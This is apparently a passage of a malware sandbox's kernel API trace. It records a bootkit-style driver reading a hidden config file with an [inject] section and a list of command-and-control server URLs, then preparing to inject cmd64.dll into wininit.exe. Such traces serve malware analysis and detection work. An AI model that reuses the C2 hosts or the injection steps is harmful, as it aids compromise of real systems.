ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0071.438] KeLeaveCriticalRegion () [0071.438] IofCompleteRequest (Irp=0xfffffa80021e92b0, PriorityBoost=0) [0071.438] KeUnstackDetachProcess (ApcState=0xfffff88002f8fa58) [0071.438] PsGetProcessImageFileName () returned 0xfffffa800284ae10 [0071.438] _snprintf (in: _Dest=0xfffffa8003546888, _Count=0x103, _Format="%s (x64)" | out: _Dest="wininit.exe (x64)") returned 17 [0071.438] RtlInitUnicodeString (in: DestinationString=0xfffff88002f8f7b0, SourceString="\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: DestinationString="\\device\\000001a9\\0d24eb7c\\cfg.ini") [0071.438] ZwCreateFile (in: FileHandle=0xfffff88002f8fb18, DesiredAccess=0x100003, ObjectAttributes=0xfffff88002f8f7d8*(Length=0x30, RootDirectory=0x0, ObjectName="\\device\\000001a9\\0d24eb7c\\cfg.ini" (normalized: "\\device\\000001a9\\0d24eb7c\\cfg.ini"), Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0xfffff88002f8f7a0, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x1, CreateDisposition=0x3, CreateOptions=0x22, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0xfffff88002f8fb18*=0xffffffff800001dc, IoStatusBlock=0xfffff88002f8f7a0) returned 0x0 [0071.438] _snprintf (in: _Dest=0xfffff88002f8ef10, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0071.438] KeEnterCriticalRegion () [0071.438] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0071.438] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80034197c0 [0071.438] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80034197c0 | out: Irp=0xfffffa80034197c0) returned 0xfffffa800d30e960 [0071.438] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800d30e960, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800d30e960) [0071.438] KeInitializeEvent (in: Event=0xfffff88002f8ed80, Type=0x0, State=0 | out: Event=0xfffff88002f8ed80) [0071.438] IdePortDispatch () returned 0x103 [0071.439] KeWaitForMutexObject () returned 0x0 [0071.439] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0071.439] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0071.439] strncpy (in: _Dest=0xfffffa80027dafe0, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0071.439] FsRtlInitializeFileLock (FileLock=0xfffffa80027daff0, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0071.439] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa800352f170 [0071.439] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0071.439] KeLeaveCriticalRegion () [0071.439] IofCompleteRequest (Irp=0xfffffa80021e92b0, PriorityBoost=0) [0071.439] ZwAllocateVirtualMemory (in: ProcessHandle=0xffffffffffffffff, BaseAddress=0xfffff88002f8f880, ZeroBits=0x0, RegionSize=0xfffff88002f8f888, AllocationType=0x3000, Protect=0x4 | out: BaseAddress=0xfffff88002f8f880*=0x80000, RegionSize=0xfffff88002f8f888*=0x1000) returned 0x0 [0071.439] NtLockFile (in: FileHandle=0xffffffff800001dc, Event=0x0, ApcRoutine=0x0, ApcContext=0x0, IoStatusBlock=0x80000, ByteOffset=0x80010, Length=0x80018, Key=0x0, FailImmediatedly=0, ExclusiveLock=1 | out: IoStatusBlock=0x80000) returned 0x0 [0071.439] _snprintf (in: _Dest=0xfffff88002f8f450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0071.439] KeEnterCriticalRegion () [0071.439] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0071.439] FsRtlProcessFileLock (FileLock=0xfffffa80027daff0, Irp=0xfffffa80021e92b0, Context=0x0) returned 0x0 [0071.439] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0071.440] KeLeaveCriticalRegion () [0071.440] ZwQueryInformationFile (in: FileHandle=0xffffffff800001dc, IoStatusBlock=0xfffff88002f8f7a0, FileInformation=0xfffff88002f8f7c0, Length=0x18, FileInformationClass=0x5 | out: IoStatusBlock=0xfffff88002f8f7a0, FileInformation=0xfffff88002f8f7c0) returned 0x0 [0071.440] _snprintf (in: _Dest=0xfffff88002f8f250, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0071.440] KeEnterCriticalRegion () [0071.440] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0071.440] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80034197c0 [0071.440] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80034197c0 | out: Irp=0xfffffa80034197c0) returned 0xfffffa800d30e960 [0071.440] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800d30e960, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800d30e960) [0071.440] KeInitializeEvent (in: Event=0xfffff88002f8f0e0, Type=0x0, State=0 | out: Event=0xfffff88002f8f0e0) [0071.440] IdePortDispatch () returned 0x103 [0071.440] KeWaitForMutexObject () returned 0x0 [0071.440] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0071.440] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0071.440] KeLeaveCriticalRegion () [0071.440] IofCompleteRequest (Irp=0xfffffa80021e92b0, PriorityBoost=0) [0071.440] FsRtlAllocatePool (PoolType=0x1, NumberOfBytes=0x197) returned 0xfffff8a006477440 [0071.440] _snprintf (in: _Dest=0xfffff88002f8f9d0, _Count=0x104, _Format="[%s]\r\n" | out: _Dest="[inject]\r\n") returned 10 [0071.441] _strlwr (in: _Str="[inject]\r\n" | out: _Str="[inject]\r\n") returned="[inject]\r\n" [0071.441] _snprintf (in: _Dest=0xfffff88002f8f8c0, _Count=0x104, _Format="%s=" | out: _Dest="wininit.exe (x64)=") returned 18 [0071.441] _strlwr (in: _Str="wininit.exe (x64)=" | out: _Str="wininit.exe (x64)=") returned="wininit.exe (x64)=" [0071.441] ZwReadFile (in: FileHandle=0xffffffff800001dc, Event=0x0, UserApcRoutine=0x0, UserApcContext=0x0, IoStatusBlock=0xfffff88002f8f7a0, Buffer=0xfffff8a006477440, BufferLength=0x196, ByteOffset=0x0, Key=0x0 | out: IoStatusBlock=0xfffff88002f8f7a0, Buffer=0xfffff8a006477440*) returned 0x0 [0071.441] _snprintf (in: _Dest=0xfffff88002f8f230, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0071.441] KeEnterCriticalRegion () [0071.441] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0071.441] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800d30e960, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff8800348e440 [0071.441] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80034197c0 [0071.441] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80034197c0 | out: Irp=0xfffffa80034197c0) returned 0xfffffa8002a499f0 [0071.441] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8002a499f0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8002a499f0) [0071.441] KeInitializeEvent (in: Event=0xfffff88002f8f090, Type=0x0, State=0 | out: Event=0xfffff88002f8f090) [0071.441] IdePortDispatch () returned 0x103 [0071.441] KeWaitForMutexObject () returned 0x0 [0071.441] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0071.441] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80034197c0 [0071.442] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80034197c0 | out: Irp=0xfffffa80034197c0) returned 0xfffffa8002a499f0 [0071.442] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8002a499f0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8002a499f0) [0071.442] KeInitializeEvent (in: Event=0xfffff88002f8f090, Type=0x0, State=0 | out: Event=0xfffff88002f8f090) [0071.442] IdePortDispatch () returned 0x103 [0071.442] KeWaitForMutexObject () returned 0x0 [0071.442] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0071.442] KeLeaveCriticalRegion () [0071.442] IofCompleteRequest (Irp=0xfffffa80021e92b0, PriorityBoost=0) [0071.442] strstr (_Str="[main]\r\nversion=0.03\r\naid=66671\r\nsid=0\r\nbuilddate=351\r\ninstalldate=6.12.2016 9:36:14\r\n[inject]\r\n*=cmd.dll\r\n* (x64)=cmd64.dll\r\n[cmd]\r\nsrv=https://lo4undreyk.com/;https://sh01cilewk.com/;https://cap01tchaa.com/;https://kur1k0nona.com/;https://u101mnay2k.com/\r\nwsrv=http://gnarenyawr.com/;http://rinderwayr.com/;http://jukdoout0.com/;http://swltcho0.com/;http://ranmjyuke.com/\r\npsrv=http://crj71ki813ck.com/\r\n", _SubStr="[inject]\r\n") returned="[inject]\r\n*=cmd.dll\r\n* (x64)=cmd64.dll\r\n[cmd]\r\nsrv=https://lo4undreyk.com/;https://sh01cilewk.com/;https://cap01tchaa.com/;https://kur1k0nona.com/;https://u101mnay2k.com/\r\nwsrv=http://gnarenyawr.com/;http://rinderwayr.com/;http://jukdoout0.com/;http://swltcho0.com/;http://ranmjyuke.com/\r\npsrv=http://crj71ki813ck.com/\r\n" [0071.442] strstr (_Str="*=cmd.dll\r\n* (x64)=cmd64.dll\r\n", _SubStr="wininit.exe (x64)=") returned 0x0 [0071.442] ZwFreeVirtualMemory (ProcessHandle=0xffffffffffffffff, BaseAddress=0xfffff88002f8f880*=0x80000, RegionSize=0xfffff88002f8f888, FreeType=0x8000) returned 0x0 [0071.442] ExFreePoolWithTag (P=0xfffff8a006477440, Tag=0x0) [0071.442] ZwClose (Handle=0xffffffff800001dc) returned 0x0 [0071.442] _snprintf (in: _Dest=0xfffff88002f8f310, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0071.443] KeEnterCriticalRegion () [0071.443] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0071.443] IoGetRequestorProcess (Irp=0xfffffa80021e92b0) returned 0xfffffa80018ab040 [0071.443] FsRtlFastUnlockAll (FileLock=0xfffffa80027daff0, FileObject=0xfffffa8003546dd0, ProcessId=0xfffffa80018ab040, Context=0x0) returned 0x0 [0071.443] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0071.443] KeLeaveCriticalRegion () [0071.443] IofCompleteRequest (Irp=0xfffffa80021e92b0, PriorityBoost=0) [0071.443] _snprintf (in: _Dest=0xfffff88002f8f330, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0071.443] KeEnterCriticalRegion () [0071.443] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0071.443] ExFreePoolWithTag (P=0xfffffa800352f170, Tag=0x0) [0071.443] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0071.443] KeLeaveCriticalRegion () [0071.443] IofCompleteRequest (Irp=0xfffffa80021e92b0, PriorityBoost=0) [0071.443] ZwClose (Handle=0xffffffff800001e8) returned 0x0 [0071.443] KeSetEvent (in: Event=0xfffffa8003546560, Increment=0x0, Wait=0 | out: Event=0xfffffa8003546560) returned 0 [0071.454] ZwOpenProcess (in: ProcessHandle=0xfffff88002f8fb70, DesiredAccess=0x1fffff, ObjectAttributes=0xfffff88002f8fb30*(Length=0x30, RootDirectory=0x0, ObjectName=0x0, Attributes=0x200, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0xfffff88002f8fb20*(UniqueProcess=0x180, UniqueThread=0x0) | out: ProcessHandle=0xfffff88002f8fb70*=0xffffffff800001e8) returned 0x0 [0071.454] RtlInitUnicodeString (in: DestinationString=0xfffff88002f8f7b0, SourceString="\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: DestinationString="\\device\\000001a9\\0d24eb7c\\cfg.ini") [0071.454] ZwCreateFile (in: FileHandle=0xfffff88002f8fb18, DesiredAccess=0x100003, ObjectAttributes=0xfffff88002f8f7d8*(Length=0x30, RootDirectory=0x0, ObjectName="\\device\\000001a9\\0d24eb7c\\cfg.ini" (normalized: "\\device\\000001a9\\0d24eb7c\\cfg.ini"), Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0xfffff88002f8f7a0, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x1, CreateDisposition=0x3, CreateOptions=0x22, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0xfffff88002f8fb18*=0xffffffff800001dc, IoStatusBlock=0xfffff88002f8f7a0) returned 0x0 [0071.454] _snprintf (in: _Dest=0xfffff88002f8ef10, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0071.454] KeEnterCriticalRegion () [0071.454] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0071.454] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80034197c0 [0071.454] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80034197c0 | out: Irp=0xfffffa80034197c0) returned 0xfffffa800d30e960 [0071.454] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800d30e960, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800d30e960) [0071.454] KeInitializeEvent (in: Event=0xfffff88002f8ed80, Type=0x0, State=0 | out: Event=0xfffff88002f8ed80) [0071.454] IdePortDispatch () returned 0x103 [0071.455] KeWaitForMutexObject () returned 0x0 [0071.455] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0071.455] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0071.455] strncpy (in: _Dest=0xfffffa80027dafe0, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0071.455] FsRtlInitializeFileLock (FileLock=0xfffffa80027daff0, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0071.455] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80018d9530 [0071.455] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0071.455] KeLeaveCriticalRegion () [0071.455] IofCompleteRequest (Irp=0xfffffa80021e92b0, PriorityBoost=0) [0071.455] ZwAllocateVirtualMemory (in: ProcessHandle=0xffffffffffffffff, BaseAddress=0xfffff88002f8f880, ZeroBits=0x0, RegionSize=0xfffff88002f8f888, AllocationType=0x3000, Protect=0x4 | out: BaseAddress=0xfffff88002f8f880*=0x80000, RegionSize=0xfffff88002f8f888*=0x1000) returned 0x0 [0071.455] NtLockFile (in: FileHandle=0xffffffff800001dc, Event=0x0, ApcRoutine=0x0, ApcContext=0x0, IoStatusBlock=0x80000, ByteOffset=0x80010, Length=0x80018, Key=0x0, FailImmediatedly=0, ExclusiveLock=1 | out: IoStatusBlock=0x80000) returned 0x0 [0071.455] _snprintf (in: _Dest=0xfffff88002f8f450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0071.455] KeEnterCriticalRegion () [0071.455] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0071.455] FsRtlProcessFileLock (FileLock=0xfffffa80027daff0, Irp=0xfffffa80021e92b0, Context=0x0) returned 0x0 [0071.455] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0071.456] KeLeaveCriticalRegion () [0071.456] ZwQueryInformationFile (in: FileHandle=0xffffffff800001dc, IoStatusBlock=0xfffff88002f8f7a0, FileInformation=0xfffff88002f8f7c0, Length=0x18, FileInformationClass=0x5 | out: IoStatusBlock=0xfffff88002f8f7a0, FileInformation=0xfffff88002f8f7c0) returned 0x0 [0071.456] _snprintf (in: _Dest=0xfffff88002f8f250, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0071.456] KeEnterCriticalRegion () [0071.456] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0071.456] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80034197c0 [0071.456] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80034197c0 | out: Irp=0xfffffa80034197c0) returned 0xfffffa800d30e960 [0071.456] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800d30e960, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800d30e960) [0071.456] KeInitializeEvent (in: Event=0xfffff88002f8f0e0, Type=0x0, State=0 | out: Event=0xfffff88002f8f0e0) [0071.456] IdePortDispatch () returned 0x103 [0071.456] KeWaitForMutexObject () returned 0x0 [0071.456] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0071.456] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0071.456] KeLeaveCriticalRegion () [0071.456] IofCompleteRequest (Irp=0xfffffa80021e92b0, PriorityBoost=0) [0071.457] FsRtlAllocatePool (PoolType=0x1, NumberOfBytes=0x197) returned 0xfffff8a006481cd0 [0071.457] _snprintf (in: _Dest=0xfffff88002f8f9d0, _Count=0x104, _Format="[%s]\r\n" | out: _Dest="[inject]\r\n") returned 10 [0071.457] _strlwr (in: _Str="[inject]\r\n" | out: _Str="[inject]\r\n") returned="[inject]\r\n" [0071.457] _snprintf (in: _Dest=0xfffff88002f8f8c0, _Count=0x104, _Format="%s=" | out: _Dest="* (x64)=") returned 8 [0071.457] _strlwr (in: _Str="* (x64)=" | out: _Str="* (x64)=") returned="* (x64)=" [0071.457] ZwReadFile (in: FileHandle=0xffffffff800001dc, Event=0x0, UserApcRoutine=0x0, UserApcContext=0x0, IoStatusBlock=0xfffff88002f8f7a0, Buffer=0xfffff8a006481cd0, BufferLength=0x196, ByteOffset=0x0, Key=0x0 | out: IoStatusBlock=0xfffff88002f8f7a0, Buffer=0xfffff8a006481cd0*) returned 0x0 [0071.457] _snprintf (in: _Dest=0xfffff88002f8f230, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0071.457] KeEnterCriticalRegion () [0071.457] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0071.457] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800d30e960, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff8800349bcd0 [0071.457] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80034197c0 [0071.457] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80034197c0 | out: Irp=0xfffffa80034197c0) returned 0xfffffa8002a499f0 [0071.457] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8002a499f0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8002a499f0) [0071.457] KeInitializeEvent (in: Event=0xfffff88002f8f090, Type=0x0, State=0 | out: Event=0xfffff88002f8f090) [0071.457] IdePortDispatch () returned 0x103 [0071.457] KeWaitForMutexObject () returned 0x0 [0071.458] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0071.458] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80034197c0 [0071.458] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80034197c0 | out: Irp=0xfffffa80034197c0) returned 0xfffffa8002a499f0 [0071.458] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8002a499f0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8002a499f0) [0071.458] KeInitializeEvent (in: Event=0xfffff88002f8f090, Type=0x0, State=0 | out: Event=0xfffff88002f8f090) [0071.458] IdePortDispatch () returned 0x103 [0071.458] KeWaitForMutexObject () returned 0x0 [0071.458] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0071.458] KeLeaveCriticalRegion () [0071.458] IofCompleteRequest (Irp=0xfffffa80021e92b0, PriorityBoost=0) [0071.458] strstr (_Str="[main]\r\nversion=0.03\r\naid=66671\r\nsid=0\r\nbuilddate=351\r\ninstalldate=6.12.2016 9:36:14\r\n[inject]\r\n*=cmd.dll\r\n* (x64)=cmd64.dll\r\n[cmd]\r\nsrv=https://lo4undreyk.com/;https://sh01cilewk.com/;https://cap01tchaa.com/;https://kur1k0nona.com/;https://u101mnay2k.com/\r\nwsrv=http://gnarenyawr.com/;http://rinderwayr.com/;http://jukdoout0.com/;http://swltcho0.com/;http://ranmjyuke.com/\r\npsrv=http://crj71ki813ck.com/\r\n", _SubStr="[inject]\r\n") returned="[inject]\r\n*=cmd.dll\r\n* (x64)=cmd64.dll\r\n[cmd]\r\nsrv=https://lo4undreyk.com/;https://sh01cilewk.com/;https://cap01tchaa.com/;https://kur1k0nona.com/;https://u101mnay2k.com/\r\nwsrv=http://gnarenyawr.com/;http://rinderwayr.com/;http://jukdoout0.com/;http://swltcho0.com/;http://ranmjyuke.com/\r\npsrv=http://crj71ki813ck.com/\r\n" [0071.458] strstr (_Str="*=cmd.dll\r\n* (x64)=cmd64.dll\r\n", _SubStr="* (x64)=") returned="* (x64)=cmd64.dll\r\n" [0071.458] strncpy (in: _Dest=0xfffffa80034e7de4, _Source="cmd64.dll", _Count=0x104 | out: _Dest="cmd64.dll") returned="cmd64.dll" [0071.458] ZwFreeVirtualMemory (ProcessHandle=0xffffffffffffffff, BaseAddress=0xfffff88002f8f880*=0x80000, RegionSize=0xfffff88002f8f888, FreeType=0x8000) returned 0x0 [0071.459] ExFreePoolWithTag (P=0xfffff8a006481cd0, Tag=0x0) [0071.459] ZwClose (Handle=0xffffffff800001dc) returned 0x0 [0071.459] _snprintf (in: _Dest=0xfffff88002f8f310, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0071.459] KeEnterCriticalRegion () [0071.459] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0071.459] IoGetRequestorProcess (Irp=0xfffffa80021e92b0) returned 0xfffffa80018ab040 [0071.459] FsRtlFastUnlockAll (FileLock=0xfffffa80027daff0, FileObject=0xfffffa80028f1c70, ProcessId=0xfffffa80018ab040, Context=0x0) returned 0x0 [0071.459] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0071.459] KeLeaveCriticalRegion () [0071.459] IofCompleteRequest (Irp=0xfffffa80021e92b0, PriorityBoost=0) [0071.459] _snprintf (in: _Dest=0xfffff88002f8f330, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0071.459] KeEnterCriticalRegion () [0071.459] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0071.459] ExFreePoolWithTag (P=0xfffffa80018d9530, Tag=0x0) [0071.459] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0071.459] KeLeaveCriticalRegion () [0071.459] IofCompleteRequest (Irp=0xfffffa80021e92b0, PriorityBoost=0) [0071.459] KeStackAttachProcess (in: PROCESS=0xfffffa80028f1610, ApcState=0xfffff88002f8fa58 | out: PROCESS=0xfffffa80028f1610, ApcState=0xfffff88002f8fa58) [0071.459] _snwprintf (in: _Dest=0xfffffa80034e7bdc, _Count=0x103, _Format="%s\\%S" | out: _Dest="\\device\\000001a9\\0d24eb7c\\cmd64.dll") returned 35 [0071.459] RtlInitUnicodeString (in: DestinationString=0xfffff88002f8fa38, SourceString="\\device\\000001a9\\0d24eb7c\\cmd64.dll" | out: DestinationString="\\device\\000001a9\\0d24eb7c\\cmd64.dll") [0071.459] ZwOpenFile (in: FileHandle=0xfffff88002f8f9e8, DesiredAccess=0x100001, ObjectAttributes=0xfffff88002f8fa08*(Length=0x30, RootDirectory=0x0, ObjectName="\\device\\000001a9\\0d24eb7c\\cmd64.dll" (normalized: "\\device\\000001a9\\0d24eb7c\\cmd64.dll"), Attributes=0x240, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0xfffff88002f8fa48, ShareAccess=0x1, OpenOptions=0x20 | out: FileHandle=0xfffff88002f8f9e8*=0xffffffff800001dc, IoStatusBlock=0xfffff88002f8fa48) returned 0x0 [0071.460] _snprintf (in: _Dest=0xfffff88002f8f150, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cmd64.dll") returned 18 [0071.460] KeEnterCriticalRegion () [0071.460] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0071.460] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80034197c0 [0071.460] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80034197c0 | out: Irp=0xfffffa80034197c0) returned 0xfffffa800d30e960 [0071.460] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800d30e960, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800d30e960) [0071.460] KeInitializeEvent (in: Event=0xfffff88002f8efc0, Type=0x0, State=0 | out: Event=0xfffff88002f8efc0) [0071.460] IdePortDispatch () returned 0x103 [0071.462] KeWaitForMutexObject () returned 0x0 [0071.462] _strnicmp (_Str1="cfg.ini", _Str="cmd64.dll", _MaxCount=0x10) returned -7 [0071.462] _strnicmp (_Str1="mbr", _Str="cmd64.dll", _MaxCount=0x10) returned 10 [0071.462] _strnicmp (_Str1="ldr16", _Str="cmd64.dll", _MaxCount=0x10) returned 9 [0071.462] _strnicmp (_Str1="ldr32", _Str="cmd64.dll", _MaxCount=0x10) returned 9 [0071.462] _strnicmp (_Str1="ldr64", _Str="cmd64.dll", _MaxCount=0x10) returned 9 [0071.462] _strnicmp (_Str1="drv32", _Str="cmd64.dll", _MaxCount=0x10) returned 1 [0071.462] _strnicmp (_Str1="drv64", _Str="cmd64.dll", _MaxCount=0x10) returned 1 [0071.462] _strnicmp (_Str1="cmd.dll", _Str="cmd64.dll", _MaxCount=0x10) returned -8 [0071.462] _strnicmp (_Str1="cmd64.dll", _Str="cmd64.dll", _MaxCount=0x10) returned 0 [0071.462] _strnicmp (_Str1="cmd64.dll", _Str="cmd64.dll", _MaxCount=0x10) returned 0 [0071.462] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003535170 [0071.462] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0071.462] KeLeaveCriticalRegion () [0071.462] IofCompleteRequest (Irp=0xfffffa80021e92b0, PriorityBoost=0) [0071.463] ZwCreateSection (in: SectionHandle=0xfffff88002f8f9e0, DesiredAccess=0xf001f, ObjectAttributes=0x0, MaximumSize=0x0, SectionPageProtection=0x2, AllocationAttributes=0x8000000, FileHandle=0xffffffff800001dc | out: SectionHandle=0xfffff88002f8f9e0*=0x48) returned 0x0 [0071.463] _snprintf (in: _Dest=0xfffff88002f8f260, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cmd64.dll") returned 18 [0071.463] KeEnterCriticalRegion () [0071.463] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: 